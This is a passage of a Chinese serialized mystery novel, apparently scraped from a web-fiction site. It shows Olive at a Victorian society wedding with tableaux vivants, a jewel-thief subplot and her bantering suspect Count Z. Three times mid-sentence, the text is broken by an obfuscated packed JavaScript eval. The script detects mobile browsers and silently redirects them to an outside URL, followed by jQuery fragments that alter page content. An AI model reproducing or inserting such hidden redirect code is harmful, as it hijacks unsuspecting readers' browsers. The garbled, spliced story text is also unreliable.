奥丽芙请布朗先生调查过匿名字条。库珀先生提供了便利:他那儿收到过大量人的信函或便笺。笔迹一一对比过,没有相同的。外加奥丽芙自己还亲眼见到好几个人写字,也没有发现哪怕接近一点的笔体。当然了,凶手不会暴露自己,匿名信肯定是请别人代写的。 总之,如果是凶手给她送了字条,肯定认得出她。 换言之,认出她的人,八成就是凶手。——要不是Z伯爵暗中留意她,且心虚,怎么会猜到她进过他的房间? 那么,Z伯爵是打算把她骗上马车,在半路偷偷杀死她? 奥丽芙一点都没感到害怕。太荒谬可笑了! 她认为,如今凶手有了忌惮,不敢对她贸然下手:如果继父亲之后,她也出了“意外”,很可能引起别人注意,至少是引起库珀先生的注意——库珀先生是个有钱人,会给凶手造成很大的麻烦。 但这并非主要原因。她不怕是因为,此刻,他们被阳光照耀着。一个人想杀另一个人?根本不可能的事。 “别这么看着我,小姐,好像我额头上突然长出了犄角。”Z伯爵笑嘻嘻说,眼睛里带着些揶揄的味道,但没有恶意。 不是凶手的眼睛。他刚才说了那些话,可能并非他心怀猜疑,他压根就是个嬉皮笑脸、不着调的人。 “答应吧,小姐。你可以拿着我的手枪,要是路遇强人,替我开枪打他。我一看就知道,你是个勇敢的姑娘,一定敢握枪。” 奥丽芙用更坚定明晰的态度拒绝了请她搭车的邀请,离开Z伯爵。 . 六月差不多是社交季最热闹的时候,几乎每天都有盛大的宴请、舞会,再不然,所有人一股脑涌去音乐厅或新戏上映的剧院,坐在包厢中和朋友亲切招呼,好像他们昨天没有刚刚会过面一样。 同样的事情一再重复,早就失去了新鲜。某一日,库珀先生在自家设宴,只请了几个最熟的客人,饭后,大家坐在小客厅随意闲谈,奥丽芙反而感到久违的轻松、惬意。 凯里小姐跟伊迪丝讨论最近的戏剧,说:“这些戏没有一部好看,我再也不上剧院了。咱们自己能排演一部戏就好了,上次不是说……” 凯里夫人瞪着女儿:“演戏?” 露易莎吐吐舌头,望向伊迪丝求援。伊迪丝这回却没帮着朋友,只说:“都没意思,不管是看,还是演。就没有哪样有趣又文雅的事给我们这些人做吗?” Z伯爵正在一旁整理乐谱,因为伊迪丝想在第二天举办他们常办的“小音乐会”,今天范德梅尔伯爵不在,她便将挑选曲目的光荣任务交给了Z伯爵。 显然,Z伯爵还留意着沙发这边的对话,这当儿,他转过身,恰如其分地插嘴道:“我听说安斯蒂夫人有意在婚礼上,举行一场活人画表演。” 伊迪丝眼睛一亮:“真的吗,如何表演?” 凯里夫人被提醒了,大点其头:“我也听安斯蒂夫人说了,她准备选十幅画,雇几名模特按画上的样子装扮了,在婚礼上展示珠宝,你们知道,就是让画家对着她们作画的那些模特。当然,这样很有新意,但另一方面说,模特和婚礼的气氛不大相称。我想,这种表演只要站着或坐着不动吧,也不用说台词,比演戏容易许多,谁都能做到?”她扭头向Z伯爵求证。 “其余我都赞同,不过我认为这并不比演戏容易许多。”Z伯爵答道。 “对,静止不动,像照片一样,却要表现出绘画的美,这比演戏更高明。”伊迪丝说。 活人画是刚刚风靡到伦敦上层社会的一种艺术形式,通过布景设置、模特、以及模特的服装来模仿或创造出艺术作品。在场的人对此都只有耳闻,不曾亲眼见过,不禁大感兴趣,七嘴八舌议论起来。 最后,凯里夫人说:“那么我就去向安斯蒂夫人提议,何必请模特,咱们自己人表演岂不是更好?你们几个——”她看向伊迪丝、奥丽芙和露易莎,“安斯蒂家还有几个侄女……” . 大家都说,六月结婚会给新人带来幸福,安斯蒂子爵最小的女儿出嫁,选在了六月最后一天。子爵的三位大女儿都嫁在英国,这个最年轻的小姐却嫁给了澳洲来的一位先生,婚后就要随丈夫到澳大利亚去,成为十五万公顷庄园的女主人。 为了不让女儿很快被英国社交界遗忘,安斯蒂夫人决定婚礼要办得别出心裁,这才有了活人画表演,旨在展示新娘子收到的珠宝礼物。 安斯蒂夫人已经准备了一段时间,但她对此事还有些嘀咕,不知会不会因为过于大胆而遭客人们非议。 因此,当凯里夫人提出建议时,她们两人一拍即合。 很快,十幅只有女性人物的画作挑选就绪,十幅画的扮演者也一一分配好了。奥丽芙扮演的画作是《喀耳刻下毒》。 这幅画取材于一则传说故事:海神格劳克斯爱水仙女,水仙女却不爱他,为此,海神去求助女巫喀耳刻。喀耳刻爱上了海神,因为妒忌水仙女,将毒药投入她沐浴的一片海水中,把水仙女斯库拉变成了海怪。 画作描绘的是喀耳刻将毒药倒入海水的那一幕。不同于其它画作中的主人公——她们有的欣喜,有的惆怅,有的脸上挂着甜美的笑,有的沉浸在白日梦中——这幅画中的喀耳刻,脸上充满了嫉妒、狠戾、怨毒。 不难理解,大部分人都不热衷扮演喀耳刻,伊迪丝却是例外。她说:“这种强烈的情绪,与日常生活的巨大反差,才最考验演员的功力。谁说我不能是这个样子?让我来演吧!” 不过,画家笔下的喀耳刻是深棕色头发,大家都说奥丽芙更合适,劝说伊迪丝另选了一副更加美丽、更加著名的画作——戴珍珠耳环的少女。 安斯蒂子爵小女儿的婚礼在乡下的庄园举行,这是安斯蒂家的传统,子爵的三个大女儿皆从这里出嫁。庄园位于赫德福德郡最南端,距伦敦有四十英里路程,不过,附近有个火车站,交通很方便。 婚礼前三日,安斯蒂子爵都在火车上包了几节车厢,把参加婚礼的客人从伦敦送到赫德福德郡,又用马车把客人们拉到庄园。 伊迪丝不喜欢乘火车。库珀先生买得起好马,马儿跑坏了腿也不用心疼,因此为女儿挑选了几匹脚力长的马,用马车送她和奥丽芙去。 奥丽芙和伊迪丝是至关重要的演员,可是她们和安斯蒂家不算很熟,所以选择随最后一拨客人一起,在婚礼前一日到达,预备婚礼结束后,当天晚上返回伦敦,不在庄园多停留。 这实际也为安斯蒂家减去不少麻烦,因为来观礼的客人实在出乎意料地多——三位出嫁的女儿都带来了一大家子,子爵自己又有好几个妹妹,还有新郎从澳大利亚远道而来的亲友……最后,不仅庄园所有房间住得满满当当,连附近的旅馆都差点安排不下。 不过,各项仪式还是有条不紊地完毕了。众人从教堂出来,个个都感到轻松、愉快,心知等会儿吃几只法式焗大虾,喝几杯香槟酒,看完那场想必非常有趣的表演,就可以踏上归途。 这时候,安斯蒂子爵命家人在大宅外设了“关卡”,只有亲友才能进入,新闻界的代表、附近村落来的闲散人士则给客客气气地挡在了外面。 大家都聚集在大宅舞厅。这里布置出一个舞台,台下摆放着许多椅子和长条板凳,像是个小剧场的模样。很快,观众坐定,大幕徐徐拉开。 开场第一幅画是《音乐会》。幕布拉开后,现出一个挤满了人的窗台:共五位姑娘坐在窗边,抱着琴,拍着手,正在唱歌。 当然,并没有歌声传出,不过表演者欢快的表情,闪亮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977346|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛,充满异域风情的鲜艳服饰,一下子就把观众带入了画中的场景。 安斯蒂夫人特意请了皇家艺术学院的教师、一位真正对这些画作熟悉的“艺术家”来指导布景搭建和人物扮演,果然没有白请;为了和原画色调一致,购置不同颜色背景布料所花费的一百英镑也没有白费。舞台下先是响起一片低低的赞赏声,接着,大家又去辨认扮演者身上佩戴的珠宝是由谁送的。 奥丽芙排在第三个表演,她已经换好了衣服,化好了妆,等到布景搭好,她便站上去,静等帷幕再次拉开。 她穿一条和画作中颜色相同的孔雀绿裙子,但样式做了相当的改动,远没有原画那么裸露——一来,安斯蒂夫人绝不能答应把演出者暴露在众目睽睽之下;二来,新娘的珠宝才是更需要突出展示的。 因此,奥丽芙的绿裙子遮住了她的肩头,耳朵上则多了一付绿宝石耳坠,像两粒水滴滴向肩膀。不过,为了尽可能复原画作,在艺术家坚持下,她的一双脚没穿鞋袜,仍保持赤裸。 于是,当幕布第三次拉开时,观众们看到奥丽芙赤脚站在充当海水的宽幅布料上,双手捧起玻璃盘,让其中绿色的毒汁慢慢滴落。 这幅画可真不好演,不说别的,盛了水的大盘子就不轻,还得小心控制盘子倾斜的角度,使液体不至于一下子流光。 每幅画的展示时间约莫三分钟,在这三分钟里,奥丽芙要手举圆盘,头低下,脸却抬起来,让观众看清她冷酷、狠毒、女巫的目光。 奥丽芙想不出什么样的嫉恨能使一个女人施展法术,把另一个女人变成怪物,但她还是尽力揣摩喀耳刻的心理:她想象自己陷入一场无望的爱,平生第一次爱上一个人,对方却把充满柔情的目光投向另一个女人。她当然会感到伤心,或许……会的,对情敌会有一点恨。 可是还不够,她会害死情敌?而且是通过下毒? 奥丽芙感到很不安,想要挪一挪脚,可是她的双脚无法动弹,好像有什么东西把它们钉在原处了。好一时,她才发现那是来自观众席第一排的一道目光——Z伯爵的目光。别人都仰着头,眼睛朝向高处,只有他一人毫无顾忌地垂着眼睛,视线射在她脚上。 这家伙敢标榜自己为绅士?奥丽芙心头火起,恨不得把手中的“毒汁”全泼在Z伯爵脸上,洗去他的伪装,让他现出原形…… 奥丽芙认为自己找到感觉了,她定定神,使Z伯爵轻浮的眼神逐渐变成心中清晰的靶子。这当儿,Z伯爵抬起眼睛,注视着她的脸。 最初的一段时间,在奥丽芙看来无比漫长,其实只有十几秒,接下来的两分多钟却一瞬就过去了。奥丽芙光顾着盘里的水和自己的表情,甚至都没发觉台下始终很静。 帷幕合上后,外面响起掌声。 奥丽芙下了台,换好衣服出来,站在最后看其它表演。不一会儿,她看见指导整场演出的劳伦斯先生在一旁做手势招呼她,便跑去,以为对方要为她演砸了报以安慰,没想到艺术家竟是夸奖。 他说:“布莱克小姐,你演得好极了,比排演时还好许多。我没想到你连人物的心理变化都能表现出来:刚开始几秒钟,你还有点茫然,有点犹豫,拿不准要不要干的样子,可是毒液一落下去,你的神情就变了,因为你知道事情已经无可挽回。” “真的吗?”奥丽芙红着脸,简直不敢相信。 “观众都大受震撼,你听见掌声了吧?” “我以为那是出于礼貌。”她谦虚又得意地说。 “不,不是礼貌,是赞叹。好了,该最后两个了,我得去看看他们换布景。”劳伦斯先生匆匆离开。 得到劳伦斯先生的肯定,奥丽芙可以轻松自在地欣赏最后两幅画了,她选了一处视野好的位置,站在那儿,等帷幕开启。 留在最后的无疑是重头戏,分别由库珀小姐和新娘子本人表演。 奥丽芙见过伊迪丝的扮相,可再次见到时,还是不自禁地吸了口气:伊迪丝实在是太美了。 21. 共进午餐 伊迪丝侧身站着,面对观众方向回眸。她的头发全部被头巾包住,少女丰润的面颊微微透着粉红;她脸上的表情很柔和,一双眼睛像是在沉思,在希冀,也像要对人诉说什么;一粒珍珠静静垂在她脸侧,珠子又大又圆,闪着明朗的光泽,像枚月亮。 好久之后,奥丽芙才发现,原来自己置身于安斯蒂家的宅邸,伊迪丝正在为大家表演一幅画,周围还有许多观众在欣赏。她去看其他那些人,他们静坐在座位上,面朝舞台,目不旁视。显然,所有人都被伊迪丝纯真、含蓄、超凡脱俗的美打动了。 谁能说得出,面前这幅画里,哪一部分最美?是少女的眼睛,脸颊,还是珍珠?或许不该有这样的问题,它们必须合在一起,才能创造出这样一个美的巅峰。 奥丽芙想起假面舞会上,Z伯爵说,他喜欢看女孩戴华美的首饰,两方面都会增色。当时,她还多少有点不以为然,认为Z伯爵夸大了饰品的作用,而现在,她开始理解了那话的意思。 奥丽芙望向坐在最前面一排的Z伯爵,从他一动不动的背影就知道,他沉浸在画中,还没有醒来,像所有人一样看入了迷。 不对,Z伯爵比别人更要着迷——等幕布合上,别人都鼓掌时,他依然不动,似乎还在回味,要将刚才那幅画面永远珍藏心中。 “库珀小姐将那幅画演得真是美极了。”一个声音忽然在耳畔响起,带着很重的异国腔,但是语调非常好听。奥丽芙扭头看,是南森女伯爵,不知她什么时候走过来的。 奥丽芙急忙行个礼。她早已经和女伯爵结识了,不过,女伯爵确实孤傲不群,奥丽芙从没得到与她单独交谈的荣幸。 此刻,女伯爵注视她的目光却很亲切,并且客气地说:“你的那幅画一定也很美,布莱克小姐,可惜我没有看见,我女儿有点紧张,刚才,我在帮她鼓鼓劲。” 克里斯汀·南森小姐和女伯爵一起来参加婚宴。本来,克里斯汀没有扮演任务,但有位小姐因故没能到场,临时决定,由克里斯汀替代她上台。南森小姐排在第五个亮相,奥丽芙刚巧也没看见她。 奥丽芙忙说:“站在这么多人面前,确实令人紧张,我刚才也怕得要命。不过南森小姐可没必要,我一直都觉得,她总是像在一幅画里那么美。” 女伯爵的笑容从嘴边一直传到眼睛。她高兴地瞅着奥丽芙:“我要把这话告诉克里斯汀,她听了一定高兴。她是个最好的孩子,虽然容易害羞,但她很真诚,只要能为别人帮忙,再难为她也会做到的。今天,她确实出乎我的意料。我打算请人为她画一副像。” 两人围绕南森小姐说了几句,有人摇响了铃,这是帷幕即将拉开的预告,她们止住交谈。 终于,最后一幅画徐徐展开在众人面前。 奥丽芙发现,Z伯爵好像直到这时才动了动身子。他先扭脸往四周看看,又转回去,向台上随便瞅两眼,便低了下头。好像他已经瞧够了,出于礼貌,才不得不继续坐在那儿。 最后这幅画的场景是在花园里,原来的安斯蒂小姐、现在的林赛太太坐在花丛中的一张椅子上,侧面对着观众,正在刺绣。 这是一幅很适合新娘扮演的画面——画中人身着的饰有花边的白色连衣裙、她手中的针线活、她娴雅的姿态,无不显示出女性的温柔与生活的温馨。 当然了,每幅画的主要目的是展示珠宝。所有这些珠宝全部是新娘收到的新婚礼物,而最后这幅画中,由新娘本人亲身展示的,则是新郎送给她的礼物——在她靠近观众的那只手腕上,很醒目地挂着一串色彩鲜艳的宝石。 很快,观众席响起一片低低的赞赏声。无疑,宝石手链非常贵重。之前,子爵家一直对这件礼物保密,现在大家才第一次看见它:手链由三排剔透的翡翠珠子串起来,中间是一块四四方方的红宝石。对宝石稍有了解的人都知道,红宝石难得十全十美——不是个头不够大,就是颜色不够鲜艳,要么质地不够纯净,而这一块显然在几方面均无可挑剔。 如果还有人对新郎的财产情况缺少认识,这条手链是个很好的补充说明。 奥丽芙听见南森女伯爵轻轻叹了句:“要说在一幅画里,还是珍珠的光彩更合适,我从没见过那么美的珍珠。” . 画像表演结束了,大家心满意足,准备吃午餐,顺便和邻座聊聊那些“画”,那些珠宝。 由于客人太多,安斯蒂夫人将一楼大厅和所有客厅都改作餐厅用,花园里也摆了几张小桌子,除了身份最显要的那部分客人按照事先安排好的在宴会厅坐,其他人可以自行挑选喜欢的就餐位置。 这天的阳光和风都很柔和,奥丽芙打算在花园享用午餐。她去看看有没有空着的桌子,却看见Z伯爵正坐在一丛忍冬旁边。Z伯爵也看见了她,马上站起身:“布莱克小姐,你肯不肯赏光陪我一起?” 他这张桌子很小,仅够两个人对坐。奥丽芙心想,Z伯爵放弃了大桌上更为精美的菜肴,特意选这么个远离人群的地点,要么是想独个儿悠闲自在地用餐——同她一样,要么是想等某个人——肯定不是她,便说:“不必客气,我另找一个地方。” “就坐这儿吧。”Z伯爵更加殷切地劝说,“你肯定找不到更好的位置了。我给了那边那家伙半英镑,才让他在这儿给我加了张桌子。你瞧,这里视野不错,既能看到整个花园,又不容易被过来过去的人打扰,不是很好吗?我跟女主人打过招呼了,她已经把我的位子安排给了库珀小姐,不大可能再派人来喊我——如果你是担心这个。” 奥丽芙便坐下,很快,侍者送了菜来,Z伯爵又十分周到地照顾她用餐。 吃了一会儿,Z伯爵说:“布莱克小姐,我想,单纯说你是天才,远远不够,你展示了一场我从没见识过的表演——你将那幅画演绎得真实无比,同时,又使它变得一点儿都不真实了。” 起先,奥丽芙美滋滋地想:若你知道我的“天才”是如何被你激发出来的,你就不会这样说了。 可是,Z伯爵后面的话令她不解。她心道:这儿没旁的人,你用不着故作玄妙,哗众取宠。 Z伯爵马上解释:“我的意思是,你演得很逼真。我当时想,这确实是一位正在投毒的喀耳刻。但她为什么要投毒?小姐,这是个悖论:你就是喀耳刻,可如果你是喀耳刻,整个故事发生的前提都将不复存在。” 说话时,Z伯爵一直注视着奥丽芙。他的眼神使奥丽芙对他话语的含义无法做出另外的解释。他是说:假如她是喀耳刻,那么海神定会爱上她,她便没必要因为嫉妒而加害水仙女。 奥丽芙脸烫得厉害,一时辨不出这是不是因为受倾慕感到的喜悦。但她突然想到了一句反驳,差点脱口说出来:如果水仙女是伊迪丝呢,故事发生的前提还是不存在? 她把自己吓了一跳,脸更红了。她以为谁是海神格劳克斯,Z伯爵?难道在她潜意识里,Z伯爵、伊迪丝和她,三人的关系是如此?Z伯爵自己都没有做出这样的暗示。——莫非他有?那他就太傲慢自大太放肆无礼了! Z伯爵瞧着她笑道:“我说的全是真心话。而且,我敢说,很多观众心里和我想得一样。刚才我遇到小默顿和范德梅尔伯爵,他们都说你让人出乎意料。请别谦虚,小姐,你确实可以改写神话故事。” 如此说来,他们几个还在一起对她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989760|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 品头论足?Z伯爵自知行为不地道,因此把另外两个人也拉上,要她说不出什么来? 奥丽芙不快地说:“我不想谦虚,但也不自负。神话里,自负的人会遭到神祗惩罚。” “啊,你的批评对我就是种惩罚,布莱克小姐,我不敢再说了。” 甜点端上来后,Z伯爵舒服地在柳条椅上一靠,又说:“这个地方很让人愉快,是吗?” “嗯。”奥丽芙只随意应了一声。 Z伯爵仔细瞧瞧她的脸色,诧异道:“我以为女士们在婚礼上都有颇多感触。” “我没有那么多愁善感。” Z伯爵笑了几声:“你真是一位奇怪的小姐。” 没什么奇怪的。奥丽芙不大喜欢那位肉滚滚的新郎,林赛先生,认为他的样貌鄙俗不堪,她也不想违心说新娘很漂亮。不过,毕生的幸福当然不是靠长相来保证:这一对新人喜气洋洋,他们的父母脸上也漾着满意的笑容,其他人则都投以羡慕的眼光——显赫的出身和巨大的财产完美结合,这就是世人眼中“门当户对”的婚姻。 奥丽芙想起,自己也曾得到几次半真半假的求婚。 向她求婚的人当中,有两三位与贵族能沾点儿边,为此,他们把屈尊求婚看作对她莫大的恩典,其实,他们本人连起码的诚实都谈不上。 至于不是贵族的那些小伙子,也并没有高尚的品格来弥补不够高贵的身份。他们无一不希望能在一夜之间变成贵族,以为做费克特先生的女婿有助于美梦成真:对贵族历史了如指掌的费克特先生,定然会提供指导,他怎么忍心独生女儿在婚后不被称作“夫人”? 难道就没有出身平常、财产不很多、但够用的两个人,两个诚实、正直、能干、又愿意自食其力的人,快乐地结为夫妻,快乐地生活下去?——怎么没有?像父亲和母亲就是。 还有许许多多的人都是如此,可是,奥丽芙却不相信自己能碰到某一位志同道合的男士。 “你还很年轻啊,奥丽芙,现在说这些话太早了。”在奥丽芙想象中,姨妈夏普小姐会这么说。 “我还这样年轻,就已经见过那么多傲慢自大、表里不一、弄虚作假、品行不端的家伙了。”奥丽芙想,自己会这么反驳。 再说,姨妈没结婚,不也挺好的吗? 还是算了吧。 用完饭的人起身离开,又有新的客人落座,使者们端着餐盘、饮料,不停地跑来跑去。不一会儿,安斯蒂子爵夫人也来了,在花园里转了一整圈,时不时停下脚,劝客人们再多吃些。 陪同安斯蒂夫人的,是一位鼻梁上架一副金丝边眼睛,看不大出年龄、像是未老先衰的先生。据称,那是安斯蒂子爵的远房堂侄,因为子爵只有四个女儿,没有儿子,有朝一日,堂侄会继承这座庄园。 不过亦有人说,庄园经营状况不佳,子爵把女儿全都嫁出去了,眼下,还巴不得将收支不抵的田产赶紧交到侄儿手里,让他头疼去。 不知是不是这个原因,堂侄满脸无精打采。奥丽芙心想这正是财富害人活生生的例子——一个长了头脑的年轻人,干什么都行,却指望继承财产,终日无所事事,结果被消磨到如此地步。她不禁多瞧了堂侄几眼,这人骨架细长,身子挺瘦弱,微微佝偻着背,有气无力跟在安斯蒂夫人身后。 他们走远后,Z伯爵忽然笑着问:“掂量出来没有,那位‘继承人’如何?” 奥丽芙知道Z伯爵又想取笑自己,也不理会,淡淡道:“单看外表,看不出什么。” “错了。”Z伯爵得意地笑起来,“单看外表,能看出许多。要我说,他根本不是继承人,他是个警察。” 22. 盗窃疑犯 奥丽芙吃了一惊,转头去看堂侄。“警察?” “警察,与子爵扯不上半点儿亲戚关系。” “这是什么意思?”奥丽芙看了一会儿那人疲沓的步态,又看Z伯爵。 “那儿不是有件稀世珍宝吗?”Z伯爵朝庄园主楼方向示意。那里有间屋子展示新娘收到的礼物,表演完后,所有的珠宝都放在那儿。 “你是说盗贼会来?大白天,当着这么多人偷东西?”奥丽芙很惊讶。 “大盗会在乎白天黑夜,人多不是更方便吗?”Z伯爵好笑地说。 确实,那回马车上丢胸针,就发生在光天化日之下,而上次俄国公爵的戒指,干脆是在人头攒动的舞会上丢的。 “警察知道他要来?”远远地,奥丽芙又打量了“堂侄”先生一通。“怎么派这么个警察?”要论起来的话,那位眼观八方,时刻留意每张桌子的侍者,倒比他更有可能抓住贼。 Z伯爵说:“别太苛求。苏格兰场已经尽力了,他们一定费了老大的劲才找出来这么个不会让人一眼认出是警察的家伙。” “他们是故意给大盗设了个陷阱,怕他认出警察!”奥丽芙这才醒悟,见Z伯爵笑嘻嘻望着她,很为自己的迟钝不好意思。“你怎么认出来的?” “当然是凭借头脑。”Z伯爵伸出手指在自己脑袋上点了点,“警方早就急了。他们以为戒备森严,盗贼就不敢下手,他们又想把盗贼引出来,只好使用便衣。你看,咱们的继承人先生寸步不离跟在子爵夫人身旁,却假装不情愿,假装自己对什么都不在意,其实他在暗中观察所有的客人。 “刚才,他走过咱们这边时,你留意没有,他的眼镜片完全是平的。当子爵夫人感谢你的精彩表演时,他透过反光很厉害的镜片瞅你的手,他脑子里面肯定在想:‘这位美丽的小姐把那个大盘子举了三分钟,抖都没抖一下,她的手腕很稳,这是做盗贼必不可少的先决条件。’”Z伯爵玩笑地说。 “他发现可疑的人没有?”奥丽芙好奇道,不由向四周望去。 一位侍者举着托盘,穿梭在客人之中,会是他?不,不可能,作为盗贼,他的神情太紧张了。不过贼这个字可不是写在脸上,这一花园的人,究竟谁会是窃贼? Z伯爵笑着说:“布莱克小姐,我突然想到:一般来说,从事某一行的人,总是以一眼看上去符合他的职业本色为佳,譬如教师看起来要聪明和蔼,律师最好看上去精明冷酷,商人则是和气生财的模样。唯独警察和罪犯是两个例外,谁若想在这两种事业上取得成功,看上去越不像他扮演的职业角色,越好。” 一瞬间,奥丽芙想到的是杀害父亲的凶手。 从外表、从行为举止看,四个人都不像,倒不是说他们不会杀人,而是,如果他们中的某个犯下杀人罪行,大概早就被发现了——他们似乎谁也没有实施犯罪后,还能冷静遮掩罪行的城府,有时她甚至怀疑凶手在他们之外。 可是,Z伯爵的话猛然点醒了她。若有一个是凶手,难道他的城府不足以让他显得毫无城府? 她应该重新审视一下这几人。是不是真的最不像的那个,就是凶手。那么,谁最不像?——不,这个问题回答不出来,当你认为不像的时候,又像了。 还是以后慢慢想吧,Z伯爵好像还在瞅着她。定定神,奥丽芙说:“你忘了一点,民众需要有能够信赖的人,这时,警察最好还是像个警察。罪犯是唯一的例外。” Z伯爵对她看了一会儿:“你说得很对,小姐,罪犯是唯一的例外。” 奥丽芙忍不住再去观察周围的人。她发现,在花园另一边,有位三十多岁年纪的先生一个人坐着,面前的桌子上还没有东西。他的模样瞧着很普通,虽然穿得端端正正,可更像是要去办公室,而不是来参加婚礼。他看上去倒是怡然自得,可是,一个男人独个参加婚礼,为什么会这样怡然自得?说不定是他竭力表现出这副样子。奥丽芙把那人指给Z伯爵看。 Z伯爵听了大笑起来:“小姐,你猜错了。我看他肯定来自法律行业,再不然是个簿记员,说不定偶尔在账目上做做假,但绝不可能是大盗。” 这时,一位身材娇小、面容白里透红的太太走到那张桌子坐下,显然,两人是一对夫妻。太太兴高采烈地说着什么,先生一边点头,一边将餐巾铺好,当侍者端来一道菜,他立即埋头大吃。现在再让奥丽芙说,的确,没有谁比那人更不可能是大盗了。 “不用气馁,小姐,你猜得不算差。”Z伯爵笑呵呵说,“若不是我恰好认识这个人,我会同意你。他是赫伯特先生,我想,好像是他去了趟澳大利亚,为安斯蒂子爵探明新郎的产业。” “照你看,大盗今天会不会来自投罗网?”奥丽芙问。 “这我可说不准,大盗的行为是不可预期的。”Z伯爵觉得有趣地看她一眼,“你希望他们抓住他?” 奥丽芙稍稍犹豫了一下,没有直接回答:“我倒想知道他是怎么办到的。我认为他们应该找个女警察试试,假如安斯蒂夫人允许我,我愿意看看能不能帮点忙。” Z伯爵爽朗地笑出了声:“没想到这儿还有位自愿充当警察的。这是你的好奇心,还是正义感,布莱克小姐?” “都不是。”奥丽芙感觉出他的嘲弄,有点儿气恼,“这是公民的责任,每个罪犯都应该被绳之以法。” “噢,小姐,”Z伯爵用钦佩、赞许的目光望着她,“有时我难免对周围的人和事感到失望。将来,再度灰心的时刻,我要想想你,你让我看到了这个世界光明积极的一面。要是每位公民都有你这样的道德观念和责任感就好了。” 不过,他紧接着又说:“但是今天,我恐怕你期盼的正义是得不到彰显了。我都能看出来的陷阱,莫非那个大盗看不出来?” “他当然看得出来。但我看,手链依然很危险,大盗不会将个把警察放在眼里。”奥丽芙一心要给Z伯爵泼点冷水,让他别那么得意。 “你是这么想的?”Z伯爵颇为惊奇地瞅着她,“我没料到你对那个小偷评价很高嘛。” “不,我可不是夸奖他。我是想:犯罪的人都自以为是,总想着多干一票,以为自己永远不会被抓住。其实,他们谁也别想逃脱。” “是吗?”Z伯爵沉思了一会儿,忽然一本正经地说,“别管大盗是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005635|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是自命不凡。反正,若我有偷盗的本事,可不会打那串丑东西的主意。” 奥丽芙一愕。没有一个体面的上等人会假设自己是窃贼,并公然地说出来,也没有人会把价值连城的珠宝叫做“丑东西”。 “你的意思是说,如果另换一件东西,你也想偷?”她笑吟吟问。 “那得看究竟是什么东西,我的原则是,既然要偷,就偷好的。”Z伯爵十分坦然地回答。 “那么,前几件失窃的珠宝呢,你也瞧不上?” “不,不,那几件都很好。比方说,第一件丢失的钻石项链,据说,那些钻石比星星还亮,还有那块怀表,上面镶着蓝钻石,像……大概像我眼睛这么蓝。”Z伯爵大言不惭道。 “再比如,咱们见过的那位蠢公爵,他的戒指上是一颗亚历山大猫眼,能够变色,所有金绿宝石中最稀有的一种;还有,斯塔福德侯爵夫人的胸针,黄色宝石不算稀罕,可是那一枚足有三十五克拉,这么大的不好找,当初把它镶成太阳的式样,可谓再恰当不过了,主人却想要改个样子。”Z伯爵不赞同地摇头。 “你对珠宝懂得可真不少。”奥丽芙半含讥讽地说。可不是么,这些贵族们,从小见惯了漂亮石头,不懂才奇怪呢。何况这几件案子,都快被人议论烂了——一件事情,但凡涉及巨额的钱财得失,在“高贵”人士中,便是被津津乐道的话题,Z伯爵当然不能免俗。 “但是,那串手链上的红宝石不是很大吗,外加那么多翡翠珠子,它哪里不好?还不够值钱?”奥丽芙又问。 “一样东西的价值不止在于价钱。”Z伯爵的回答有点出乎意料。“我认为手链很丑。它给我的第一印象就是如此。我不知你注意到没有,其它所有画像表演中,首饰与背景、人物都是非常和谐的,而这条手链的出现却极其突兀。 “我不必再提你,就说库珀小姐演的那幅画吧。《戴珍珠耳环的少女》是杰作,功劳有一半来自耳环,或者说,来自画家的技巧和想象力,他将不和谐变为了和谐——本来,一位装束普通的女孩怎会戴上那样的东西?那是只有大洋洲才能采到的最完美的珍珠。” Z伯爵停下。从他的目光中,奥丽芙看出他的思绪已经不在眼前了。他一定是在回想伊迪丝的样子:要创造那种完美的和谐,不光需要画家的技法,也离不开模特本身——不管是画中的女孩,还是伊迪丝,她们都有珍珠般皎洁无暇的面容,都有动人的表现力和感染力。 片刻后,Z伯爵再次开口:“至于说红宝石和翡翠,这种浓艳的搭配,当然妙不可言——假如在蓬巴杜夫人身上——我从来没崇拜过她,不过我可以理解为什么有人为她痴迷,毕竟,她能给人一种既优雅,又挑逗的感觉。而咱们刚才所见的最后一幅画,毫无这种感觉。这是个美学问题,你认为呢?” 奥丽芙的确不怎么喜欢那条手链。她并非完全从美学角度考虑,她是看到象征财富的手链出现在象征婚姻生活的田园诗一般的画面中,感到刺眼。她还认为,把路易十五的情妇和伊迪丝放在一起称赞,十分粗俗无礼。 她冷冷对Z伯爵说:“你忘了,大盗或许没看画像表演。” 23. 心生嫌隙 吃完午饭,Z伯爵掏出怀表看了看:“小姐,我打算再呆一到两个钟头,你怎么样?你可以休息一会儿,然后,我们一起回伦敦。” 